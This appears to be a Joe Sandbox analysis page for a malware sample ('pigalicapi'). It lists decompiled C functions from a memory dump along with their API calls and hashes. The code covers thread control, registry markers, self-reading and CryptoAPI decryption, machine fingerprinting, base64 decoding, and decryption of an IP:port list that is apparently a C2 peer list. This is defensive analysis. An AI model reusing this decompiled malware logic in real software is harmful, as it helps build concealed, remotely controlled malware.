Function 00EC4096 Relevance: 15.1, APIs: 10, Instructions: 121
threadsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC4096() {
				void _t92;
				void* _t114;
				void* _t161;
				void* _t163;
				void* _t166;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t161 - 0x38)) =  *((intOrPtr*)(_t161 - 0x38)) + 1;
					if( *((intOrPtr*)(_t161 - 0x38)) >=  *((intOrPtr*)(_t161 + 0x14))) {
						break;
					}
					L2:
					EnterCriticalSection(_t161 - 0x28);
					if( *(_t161 - 0x30) != 0) {
						VirtualFree( *(_t161 - 0x30), 0, 0x8000);
						 *(_t161 - 0x30) = 0;
						 *(_t161 - 0x2c) = 0;
					}
					_t171 =  *(_t161 - 0x34);
					if( *(_t161 - 0x34) != 0) {
						TerminateThread( *(_t161 - 0x34), 0);
						 *(_t161 - 0x34) = 0;
					}
					ResetEvent( *(_t161 - 0x10));
					LeaveCriticalSection(_t161 - 0x28);
					_t92 = CreateThread(0, 0, E00EC4AC0, _t161 - 0x34, 0, 0); // executed
					 *(_t161 - 0x34) = _t92;
					 *(_t161 - 0x64) = E00EC97A0( ~(0 | _t171 > 0x00000000) |  *(_t161 + 0x18) * 0x00000004);
					 *(_t161 - 0x3c) =  *(_t161 - 0x64);
					E00EC7D20( *(_t161 - 0x64),  *(_t161 - 0x3c), 0,  *(_t161 + 0x18) << 2);
					_t166 = _t163 + 0x10;
					 *(_t161 - 0x60) = 0;
					L8:
					while( *(_t161 - 0x60) <  *(_t161 + 0x18)) {
						( *(_t161 - 0x3c))[ *(_t161 - 0x60)] = 0;
						E00EC7D20( *(_t161 - 0x3c), _t161 - 0x58, 0, 0x1c);
						_t166 = _t166 + 0xc;
						 *((intOrPtr*)(_t161 - 0x40)) = _t161 - 0x34;
						 *((intOrPtr*)(_t161 - 0x44)) =  *((intOrPtr*)(_t161 + 0x10));
						 *(_t161 - 0x58) =  *(_t161 + 8);
						 *(_t161 - 0x50) =  *(_t161 - 0x60) *  *(_t161 - 8);
						if( *(_t161 - 0x60) >=  *(_t161 + 0x18) - 1) {
							 *((intOrPtr*)(_t161 - 0x4c)) =  *((intOrPtr*)(_t161 + 0xc)) - 1;
						} else {
							 *((intOrPtr*)(_t161 - 0x4c)) =  *(_t161 - 0x50) +  *(_t161 - 8) - 1;
						}
						 *(_t161 - 0x48) = CreateEventA(0, 1, 0, 0);
						_t114 = CreateThread(0, 0, E00EC4BA0, _t161 - 0x58, 0, 0); // executed
						( *(_t161 - 0x3c))[ *(_t161 - 0x60)] = _t114;
						WaitForSingleObject( *(_t161 - 0x48), 0xffffffff);
						FindCloseChangeNotification( *(_t161 - 0x48)); // executed
						 *(_t161 - 0x60) =  *(_t161 - 0x60) + 1;
					}
					WaitForMultipleObjects( *(_t161 + 0x18),  *(_t161 - 0x3c), 1, 0xffffffff);
					 *((intOrPtr*)(_t161 - 0x5c)) = WaitForSingleObject( *(_t161 - 0x10), 0x2710);
					if( *((intOrPtr*)(_t161 - 0x5c)) == 0) {
						 *(_t161 - 1) = 1;
					}
					 *((intOrPtr*)(_t161 - 0x5c)) = WaitForSingleObject( *(_t161 - 0x34), 0x3e8);
					if( *((intOrPtr*)(_t161 - 0x5c)) != 0) {
						TerminateThread( *(_t161 - 0x34), 0);
					}
					L17:
					EnterCriticalSection(_t161 - 0x28);
					if( *(_t161 - 0x30) != 0) {
						VirtualFree( *(_t161 - 0x30), 0, 0x8000); // executed
						 *(_t161 - 0x30) = 0;
						 *(_t161 - 0x2c) = 0;
					}
					L19:
					LeaveCriticalSection(_t161 - 0x28);
					 *(_t161 - 0x68) =  *(_t161 - 0x3c);
					E00EC97C0( *(_t161 - 0x68));
					if(( *(_t161 - 1) & 0x000000ff) == 0) {
						L21:
						continue;
					}
					break;
				}
				L22:
				DeleteCriticalSection(_t161 - 0x28);
				return  *(_t161 - 1);
			}

0x00ec4096
0x00ec4096
0x00ec4096
0x00ec409c
0x00ec40a5
0x00000000
0x00000000
0x00ec40ab
0x00ec40af
0x00ec40b9
0x00ec40c6
0x00ec40cc
0x00ec40d3
0x00ec40d3
0x00ec40da
0x00ec40de
0x00ec40e6
0x00ec40ec
0x00ec40ec
0x00ec40f7
0x00ec4101
0x00ec4118
0x00ec411e
0x00ec413d
0x00ec4143
0x00ec4153
0x00ec4158
0x00ec415b
0x00000000
0x00ec416d
0x00ec417f
0x00ec418e
0x00ec4193
0x00ec4199
0x00ec419f
0x00ec41a5
0x00ec41af
0x00ec41bb
0x00ec41d2
0x00ec41bd
0x00ec41c7
0x00ec41c7
0x00ec41e3
0x00ec41f7
0x00ec4203
0x00ec420c
0x00ec4216
0x00ec416a
0x00ec416a
0x00ec422d
0x00ec4242
0x00ec4249
0x00ec424b
0x00ec424b
0x00ec425e
0x00ec4265
0x00ec426d
0x00ec426d
0x00ec4273
0x00ec4277
0x00ec4281
0x00ec428e
0x00ec4294
0x00ec429b
0x00ec429b
0x00ec42a2
0x00ec42a6
0x00ec42af
0x00ec42b6
0x00ec42c4
0x00ec42c8
0x00000000
0x00ec42c8
0x00000000
0x00ec42c4
0x00ec42cd
0x00ec42d1
0x00ec42dd

APIs

EnterCriticalSection.KERNEL32(?,?), ref: 00EC40AF
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00EC40C6
TerminateThread.KERNEL32(00000000,00000000), ref: 00EC40E6
ResetEvent.KERNEL32(00000000), ref: 00EC40F7
LeaveCriticalSection.KERNEL32(?), ref: 00EC4101
CreateThread.KERNEL32 ref: 00EC4118
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00EC41DD
CreateThread.KERNEL32 ref: 00EC41F7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00EC420C
FindCloseChangeNotification.KERNEL32(?), ref: 00EC4216
DeleteCriticalSection.KERNEL32(?,?), ref: 00EC42D1

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: CreateCriticalSectionThread$Event$ChangeCloseDeleteEnterFindFreeLeaveNotificationObjectResetSingleTerminateVirtualWait
String ID:
API String ID: 371823443-0
Opcode ID: 503df5c8905022a2de54f79e40fc7e43c111c444b34961bbbd6a176695276d14
Instruction ID: a2ff048fc95435e339263120abff37f0c026b7af1170a0d4327d9188e3ae7466
Opcode Fuzzy Hash: 503df5c8905022a2de54f79e40fc7e43c111c444b34961bbbd6a176695276d14
Instruction Fuzzy Hash: BE51E4B1A41308AFDB14DFA4D99AFEDBBB1BB48704F244119F905BB2D0D772A846CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00EC5E30 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 79
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC5E30(char _a4) {
				char* _v8;
				char _v9;
				void* _v16;
				void* _v20;
				char* _v24;
				int _v28;
				signed int _v29;
				int _v36;
				char _v68;
				int _v72;
				char* _t31;
				long _t33;
				long _t37;
				char* _t45;

				_v9 = 0;
				_t31 =  *0xed18a0; // 0xed3b88
				_v8 = _t31;
				_t45 =  *0xed1894; // 0xed3fc4
				_v24 = _t45;
				_v16 = 0x80000001;
				if(( *0xed435a & 0x000000ff) != 0) {
					_v16 = 0x80000002;
				}
				_v20 = 0;
				_t33 = RegOpenKeyExA(_v16, _v8, 0, 0xf003f,  &_v20); // executed
				if(_t33 == 0) {
					_v36 = 0x20;
					_v28 = 0x20;
					_v29 = 0;
					_t37 = RegQueryValueExA(_v20, _v24, 0, 0,  &_v68,  &_v28); // executed
					if(_t37 == 0 && _v28 == 0x10) {
						_v29 = 1;
						_t19 =  &_a4; // 0xec3c39
						if(( *_t19 & 0x000000ff) != 0) {
							RegDeleteValueA(_v20, _v24);
						}
					}
					_t48 = _v29 & 0x000000ff;
					if((_v29 & 0x000000ff) == 0) {
						_v72 = 0x10;
						E00EC9BD0(_t48,  &_v68, 0x10);
						RegSetValueExA(_v20, _v24, 0, 3,  &_v68, 0x10);
						_v9 = 1;
					}
					RegCloseKey(_v20); // executed
				}
				return _v9;
			}

0x00ec5e36
0x00ec5e3a
0x00ec5e3f
0x00ec5e42
0x00ec5e48
0x00ec5e4b
0x00ec5e5b
0x00ec5e5d
0x00ec5e5d
0x00ec5e64
0x00ec5e7e
0x00ec5e86
0x00ec5e8c
0x00ec5e93
0x00ec5e9a
0x00ec5eb2
0x00ec5eba
0x00ec5ec2
0x00ec5ec6
0x00ec5ecc
0x00ec5ed6
0x00ec5ed6
0x00ec5ecc
0x00ec5edc
0x00ec5ee2
0x00ec5ee4
0x00ec5ef1
0x00ec5f0b
0x00ec5f11
0x00ec5f11
0x00ec5f19
0x00ec5f19
0x00ec5f25

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,000F003F,00000000), ref: 00EC5E7E
RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 00EC5EB2
RegDeleteValueA.ADVAPI32(00000000,?), ref: 00EC5ED6
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 00EC5F0B
RegCloseKey.KERNEL32(00000000), ref: 00EC5F19

Strings

, xrefs: 00EC5E93
9<, xrefs: 00EC5EC6
, xrefs: 00EC5E8C

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Value$CloseDeleteOpenQuery
String ID: $ $9<
API String ID: 647993726-683406120
Opcode ID: 19424fd43166283f29cf1872ce7f29f0074e541bf5223e8f8a400597b480311a
Instruction ID: f0298966e080085650695b797e858b19df50b8cb5f6ea7e8872a4fc41c3ff7d5
Opcode Fuzzy Hash: 19424fd43166283f29cf1872ce7f29f0074e541bf5223e8f8a400597b480311a
Instruction Fuzzy Hash: 96315CB1A00249AFEB04CBD5D955FFFBBB9AB04704F14405CEA04B7281D7B66A06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EC4510 Relevance: 13.7, APIs: 9, Instructions: 173
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC4510(intOrPtr _a4, char _a8) {
				char _v5;
				char _v780;
				void* _v784;
				char _v1308;
				long _v1312;
				void* _v1316;
				long _v1320;
				intOrPtr _v1324;
				intOrPtr _v1328;
				signed int _v1332;
				intOrPtr _v1336;
				intOrPtr _v1340;
				intOrPtr _v1344;
				void* _t90;
				void* _t94;
				int _t97;
				signed char _t101;
				signed char _t114;
				void* _t153;
				void* _t155;
				void* _t156;

				_v5 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L24:
					return _v5;
				} else {
					E00EC7D20(E00EC7D20( &_v780,  &_v780, 0, 0x300),  &_v1308, 0, 0x208);
					_t155 = _t153 + 0x18;
					GetModuleFileNameA(0,  &_v1308, 0x208);
					_t90 = CreateFileA( &_v1308, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v784 = _t90;
					if(_v784 == 0xffffffff) {
						goto L24;
					}
					_v1312 = GetFileSize(_v784, 0);
					if(_v1312 == 0) {
						L22:
						if(_v784 != 0) {
							CloseHandle(_v784);
						}
						goto L24;
					}
					_t94 = VirtualAlloc(0, _v1312, 0x3000, 4); // executed
					_v1316 = _t94;
					if(_v1316 == 0) {
						goto L22;
					}
					_v1320 = 0;
					_t97 = ReadFile(_v784, _v1316, _v1312,  &_v1320, 0); // executed
					if(_t97 == 0 || _v1320 != _v1312) {
						L20:
						if(_v1316 != 0) {
							VirtualFree(_v1316, 0, 0x8000);
							_v1316 = 0;
						}
						goto L22;
					} else {
						FindCloseChangeNotification(_v784); // executed
						_v784 = 0;
						_t101 = E00EC47F0(_v1316, _v1312, _a8); // executed
						_t156 = _t155 + 0xc;
						if((_t101 & 0x000000ff) == 0) {
							if(_v1316 != 0) {
								VirtualFree(_v1316, 0, 0x8000); // executed
								_v1316 = 0;
							}
							_v1328 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
							_v1324 = _v1328 + ( *(_v1328 + 0x14) & 0x0000ffff) + 0x18;
							_v1332 = 0;
							while(_v1332 < ( *(_v1328 + 6) & 0x0000ffff)) {
								_v1336 =  *((intOrPtr*)(_v1324 + 0xc + _v1332 * 0x28)) + _a4;
								if( *((intOrPtr*)(_v1324 + 8 + _v1332 * 0x28)) <=  *((intOrPtr*)(_v1324 + 0x10 + _v1332 * 0x28))) {
									_v1344 =  *((intOrPtr*)(_v1324 + 0x10 + _v1332 * 0x28));
								} else {
									_v1344 =  *((intOrPtr*)(_v1324 + 8 + _v1332 * 0x28));
								}
								_v1340 = _v1344;
								_t114 = E00EC47F0(_v1336, _v1340, _a8); // executed
								_t156 = _t156 + 0xc;
								if((_t114 & 0x000000ff) == 0) {
									_v1332 = _v1332 + 1;
									continue;
								} else {
									_v5 = 1;
									goto L20;
								}
							}
							goto L20;
						}
						_v5 = 1;
						goto L20;
					}
				}
			}

0x00ec451a
0x00ec4522
0x00ec47e6
0x00ec47ed
0x00ec4532
0x00ec4556
0x00ec455b
0x00ec456c
0x00ec458b
0x00ec4591
0x00ec459e
0x00000000
0x00000000
0x00ec45b3
0x00ec45c0
0x00ec47d0
0x00ec47d7
0x00ec47e0
0x00ec47e0
0x00000000
0x00ec47d7
0x00ec45d6
0x00ec45dc
0x00ec45e9
0x00000000
0x00000000
0x00ec45ef
0x00ec4617
0x00ec461f
0x00ec47a9
0x00ec47b0
0x00ec47c0
0x00ec47c6
0x00ec47c6
0x00000000
0x00ec4637
0x00ec463e
0x00ec4644
0x00ec4660
0x00ec4665
0x00ec466d
0x00ec467f
0x00ec468f
0x00ec4695
0x00ec4695
0x00ec46a8
0x00ec46c2
0x00ec46c8
0x00ec46e3
0x00ec470f
0x00ec473b
0x00ec476b
0x00ec473d
0x00ec4750
0x00ec4750
0x00ec4777
0x00ec478f
0x00ec4794
0x00ec479c
0x00ec46dd
0x00000000
0x00ec479e
0x00ec479e
0x00000000
0x00ec479e
0x00ec479c
0x00000000
0x00ec46e3
0x00ec466f
0x00000000
0x00ec466f
0x00ec461f

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 00EC456C
CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00EC458B
GetFileSize.KERNEL32(000000FF,00000000), ref: 00EC45AD
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 00EC45D6
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 00EC4617
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00EC463E

Part of subcall function 00EC47F0: CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 00EC482A
Part of subcall function 00EC47F0: GetLastError.KERNEL32 ref: 00EC4834
Part of subcall function 00EC47F0: CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 00EC4850
Part of subcall function 00EC47F0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 00EC48EB
Part of subcall function 00EC47F0: CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 00EC490B
Part of subcall function 00EC47F0: CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 00EC493C
Part of subcall function 00EC47F0: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 00EC496F
Part of subcall function 00EC47F0: CryptDestroyKey.ADVAPI32(00000000), ref: 00EC4982

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00EC468F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00EC47C0
CloseHandle.KERNEL32(00000000), ref: 00EC47E0

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Crypt$File$Virtual$AcquireCloseContextCreateFreeHash$AllocChangeDataDecryptDeriveDestroyErrorFindHandleLastModuleNameNotificationReadSize
String ID:
API String ID: 2585753175-0
Opcode ID: a96c4b6ecb41e8832a4e83ea280d3615f60708025235a010108217efc29b0616
Instruction ID: 4b0b5f271161282d2950051eaa422e2369bc6e1abda85b7c0ed69a9ac1aa1b57
Opcode Fuzzy Hash: a96c4b6ecb41e8832a4e83ea280d3615f60708025235a010108217efc29b0616
Instruction Fuzzy Hash: 888169B49016289BDB24CB10DCA5FAAB7B4AF49306F10A1D9E508BB2C1D7759F86CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00EC9D20 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 133
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00EC9D20(intOrPtr _a4, CHAR* _a8, int _a12) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				char _v292;
				intOrPtr _v296;
				char _v404;
				long _v408;
				char _v673;
				char _v676;
				intOrPtr _v680;
				long _v684;
				signed int _v688;
				short* _v692;
				signed int _v696;
				unsigned int _v700;
				intOrPtr _v704;
				char _v900;
				signed int _v904;
				signed int _v908;
				int _v912;
				int _t71;
				void* _t74;
				short** _t76;
				void* _t114;

				_v5 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0) {
					_v12 = 0x20;
					_v24 = 6;
					_v684 = 0;
					_v20 = 0;
					_v408 = 0;
					_v16 = 0x19660d;
					_v296 = 0x3c6ef35f;
					_v680 = _a4;
					if(GetSystemDirectoryA( &_v676, 0x103) != 0) {
						_v673 = 0;
						_t71 = GetVolumeInformationA( &_v676,  &_v292, 0x103,  &_v684,  &_v20,  &_v408,  &_v404, 0x63); // executed
						if(_t71 != 0) {
							_v688 = 0xffffffff;
							E00EC7D20(_t71,  &_v900, 0, 0xc0);
							_v700 = 0;
							_t74 = E00EC9F70( &_v900, 0xc0,  &_v700); // executed
							if(_t74 != 0) {
								_v904 = 0;
								while(_v904 < _v700 >> 2) {
									_v688 = _v688 ^  *(_t114 + _v904 * 4 - 0x380);
									_v904 = _v904 + 1;
								}
							}
							_v696 = _v684;
							_v908 = 0;
							while(_v908 < 4) {
								 *(_v680 + _v908 * 4) = 0x3c6ef35f + _v696 * 0x0019660d ^ _v688;
								_v696 = 0x3c6ef35f + _v696 * 0x19660d;
								_v908 = _v908 + 1;
							}
							_t76 =  &_v692;
							__imp__StringFromCLSID(_a4, _t76); // executed
							_v704 = _t76;
							if(_v704 >= 0) {
								_v912 = WideCharToMultiByte(0, 0, _v692, 0xffffffff, _a8, _a12, 0, 0);
								lstrcpynA(_a8,  &(_a8[1]), _v912 - 2);
								_v5 = 1;
							}
							__imp__CoTaskMemFree(_v692);
						}
					}
				}
				return _v5;
			}

0x00ec9d29
0x00ec9d31
0x00ec9d4b
0x00ec9d52
0x00ec9d59
0x00ec9d63
0x00ec9d6a
0x00ec9d74
0x00ec9d7b
0x00ec9d88
0x00ec9da2
0x00ec9da8
0x00ec9ddd
0x00ec9de5
0x00ec9deb
0x00ec9e03
0x00ec9e0b
0x00ec9e28
0x00ec9e32
0x00ec9e34
0x00ec9e4f
0x00ec9e73
0x00ec9e49
0x00ec9e49
0x00ec9e4f
0x00ec9e81
0x00ec9e87
0x00ec9ea2
0x00ec9ecf
0x00ec9ee4
0x00ec9e9c
0x00ec9e9c
0x00ec9eec
0x00ec9ef7
0x00ec9efd
0x00ec9f0a
0x00ec9f2b
0x00ec9f46
0x00ec9f4c
0x00ec9f4c
0x00ec9f57
0x00ec9f57
0x00ec9de5
0x00ec9da2
0x00ec9f63

APIs

GetSystemDirectoryA.KERNEL32 ref: 00EC9D9A
GetVolumeInformationA.KERNEL32(?,?,00000103,00000000,00000000,00000000,?,00000063), ref: 00EC9DDD

Part of subcall function 00EC9F70: GetAdaptersInfo.IPHLPAPI(00000000,00EC9E2D), ref: 00EC9FEB

StringFromCLSID.OLE32(00000020,?), ref: 00EC9EF7
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,0019660D,00000000,00000000,00000000), ref: 00EC9F25
lstrcpynA.KERNEL32(0019660D,0019660C,?), ref: 00EC9F46
CoTaskMemFree.OLE32(?), ref: 00EC9F57

Strings

, xrefs: 00EC9D4B

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: AdaptersByteCharDirectoryFreeFromInfoInformationMultiStringSystemTaskVolumeWidelstrcpyn
String ID:
API String ID: 2697952880-3916222277
Opcode ID: c919399357eecee3a3d9b308259aa2e373dd91c8a0d71ff910e385d857fd0220
Instruction ID: 1aad7193943e0e7765069d355ab2fde26ebff28e5ecc33a089f0a81a2b094423
Opcode Fuzzy Hash: c919399357eecee3a3d9b308259aa2e373dd91c8a0d71ff910e385d857fd0220
Instruction Fuzzy Hash: EE513870A013189FDB25CF50CD88BEAB7B9BB44304F1482DDE50DAA281DB729B89CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00EC1390 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 122
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EC1390(signed int __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed char* _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				long _v24;
				void* _v28;
				long _v32;
				signed int _t52;
				signed int _t57;
				intOrPtr _t64;
				void* _t76;
				void* _t103;
				void* _t104;
				void* _t106;
				void* _t107;

				_t52 = __eax;
				if(_a4 == 0 || _a8 == 0 || _a4 == 0 || _a16 == 0) {
					return _t52 | 0xffffffff;
				} else {
					_v24 = 0;
					_t57 = RtlAllocateHeap(GetProcessHeap(), 8, _a8 + 5); // executed
					_v28 = _t57;
					if(_v28 != 0) {
						E00EC7B70(_v28, _a4, _a8);
						E00EC7B70(_v28 + _a8, "====", 4);
						_t106 = _t104 + 0x18;
						_v8 = _v28;
						_v20 = 3;
						while(_v20 == 3) {
							_v32 = 0;
							while(_v32 < 4) {
								while( *_v8 != 0x3d) {
									_t76 = E00EC1500( *_v8 & 0x000000ff);
									_t106 = _t106 + 4;
									if(_t76 >= 0) {
										break;
									}
									_v8 =  &(_v8[1]);
								}
								 *((char*)(_t103 + _v32 - 0xc)) =  *_v8;
								_v8 =  &(_v8[1]);
								_v32 = _v32 + 1;
							}
							_t64 = E00EC1580( &_v16,  &_v12);
							_t107 = _t106 + 8;
							_v20 = _t64;
							if(_a16 >= _v20) {
								E00EC7B70(_a12,  &_v12, _v20);
								_t106 = _t107 + 0xc;
								_a12 = _a12 + _v20;
								_a16 = _a16 - _v20;
								_v24 = _v24 + _v20;
								continue;
							}
							return HeapFree(GetProcessHeap(), 0, _v28) | 0xffffffff;
						}
						RtlFreeHeap(GetProcessHeap(), 0, _v28); // executed
						return _v24;
					}
					return _t57 | 0xffffffff;
				}
			}

0x00ec1390
0x00ec139a
0x00000000
0x00ec13b6
0x00ec13b6
0x00ec13cd
0x00ec13d3
0x00ec13da
0x00ec13f0
0x00ec1406
0x00ec140b
0x00ec1411
0x00ec1414
0x00ec141b
0x00ec1425
0x00ec1437
0x00ec143d
0x00ec144f
0x00ec1454
0x00ec1459
0x00000000
0x00000000
0x00ec1461
0x00ec1461
0x00ec146e
0x00ec1478
0x00ec1434
0x00ec1434
0x00ec1485
0x00ec148a
0x00ec148d
0x00ec1496
0x00ec14bc
0x00ec14c1
0x00ec14ca
0x00ec14d3
0x00ec14dc
0x00000000
0x00ec14dc
0x00000000
0x00ec14ab
0x00ec14f1
0x00000000
0x00ec14f7
0x00000000
0x00ec13dc

APIs

GetProcessHeap.KERNEL32(00000008,-00000005), ref: 00EC13C6
RtlAllocateHeap.NTDLL(00000000), ref: 00EC13CD
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00EC149E
HeapFree.KERNEL32(00000000), ref: 00EC14A5
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00EC14EA
RtlFreeHeap.NTDLL(00000000), ref: 00EC14F1

Strings

====, xrefs: 00EC13FA

Memory Dump Source

Source File: 00000004.00000002.860103508.0000000000EC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00EC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ec0000_pigalicapi.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$Allocate
String ID: ====
API String ID: 168621272-1026985228
Opcode ID: 00e5451c3a036a4ba746890f393efa29b3da0958603ba449d05a22f4a85d87f4
Instruction ID: 6ee27430001872da87b153af6431979294878cb3325ae6a93b4dda5884b9ada8
Opcode Fuzzy Hash: 00e5451c3a036a4ba746890f393efa29b3da0958603ba449d05a22f4a85d87f4
Instruction Fuzzy Hash: 0B415BB4D00209DFCB04CFA8CA55FEE7BB5BF45309F208559E525B7292D3329A46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EC7970 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 115
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00EC7970(intOrPtr* _a4) {
				long _v8;
				void* _v12;
				int _v16;
				long _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				void* _v40;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _t50;
				intOrPtr _t52;
				void* _t58;
				intOrPtr _t64;
				intOrPtr _t72;
				intOrPtr _t83;
				void* _t96;
				void* _t97;
				void* _t98;

				_v8 = 0;
				if(_a4 != 0) {
					_v16 = 0x8c;
					_v20 = 0x75bc;
					_t50 = VirtualAlloc(0, 0x75bc, 0x3000, 4); // executed
					_v12 = _t50;
					if(_v12 != 0) {
						_t72 =  *0xece28c; // 0xed3f88
						_t83 =  *0xed18a0; // 0xed3b88
						_t52 = E00ECA400(_t83, _t72, _v12, 0x75bc); // executed
						_t97 = _t96 + 0x10;
						_v24 = _t52;
						if(_v24 >= 0x92) {
							_v28 = _v24 - 0x8c;
							_t58 = E00EC8A70(_v12 + 0x8c,  &_v28, _v12, 0x8c, 0xed30e8, 0x254);
							_t98 = _t97 + 0x18;
							if(_t58 != 0) {
								_v32 = _v12 + 0x8c;
								_v36 = _v28 / 6;
								_v40 = VirtualAlloc(0, _v36 * 0x28, 0x3000, 4);
								if(_v40 != 0) {
									_v48 = 0;
									while(_v48 < _v36) {
										_t64 = E00EC7B70( &_v44, _v48 * 6 + _v32, 4);
										_push(_v44);
										L00ECB1EC();
										_v52 = _t64;
										wnsprintfA(_v48 * 0x28 + _v40, 0x28, "%s:%u", _v52,  *(_v32 + 4 + _v48 * 6) & 0x0000ffff);
										_t98 = _t98 + 0x20;
										_v8 = _v8 + 1;
										_v48 = _v48 + 1;
									}
									 *_a4 = _v40;
								}
							}
						}
						VirtualFree(_v12, 0, 0x8000); // executed
					}
				}
				return _v8;
			}

0x00ec7976
0x00ec7981
0x00ec7987
0x00ec798e
0x00ec79a3
0x00ec79a9
0x00ec79b0
0x00ec79bf
0x00ec79c6
0x00ec79cd
0x00ec79d2
0x00ec79d5
0x00ec79df
0x00ec79ed
0x00ec7a10
0x00ec7a15
0x00ec7a1a
0x00ec7a29
0x00ec7a38
0x00ec7a51
0x00ec7a58
0x00ec7a5a
0x00ec7a6c
0x00ec7a84
0x00ec7a8f
0x00ec7a90
0x00ec7a95
0x00ec7abc
0x00ec7ac2
0x00ec7acb
0x00ec7a69
0x00ec7a69
0x00ec7ad6
0x00ec7ad6
0x00ec7a58
0x00ec7a1a
0x00ec7ae3
0x00ec7ae3
0x00ec79b0
0x00ec7aef

APIs

VirtualAlloc.KERNEL32(00000000,000075BC,00003000,00000004), ref: 00EC79A3

Part of subcall function 00ECA400: RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,00000000), ref: 00ECA45C
Part of subcall function 00ECA400: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00ECA480
Part of subcall function 00ECA400: RegCloseKey.KERNEL32(00000000), ref: 00ECA494

VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00EC7AE3

Part of subcall function 00EC8A70: CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 00EC8AD3
Part of subcall function 00EC8A70: GetLastError.KERNEL32 ref: 00EC8ADD
Part of subcall function 00EC8A70: CryptAcquireContextA.ADVAPI32(00000000,00ECC6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 00EC8B0C
Part of subcall function 00EC8A70: CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,00000000), ref: 00EC8B37
Part of subcall function 00EC8A70: CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 00EC8B5E
Part of subcall function 00EC8A70: CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000), ref: 00EC8B7A
Part of subcall function 00EC8A70: CryptDestroyKey.ADVAPI32(00000000), ref: 00EC8B87
Part of subcall function 00EC8A70: CryptDestroyKey.ADVAPI32(00000000), ref: 00EC8B91
Part of subcall function 00EC8A70: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00EC8B9D

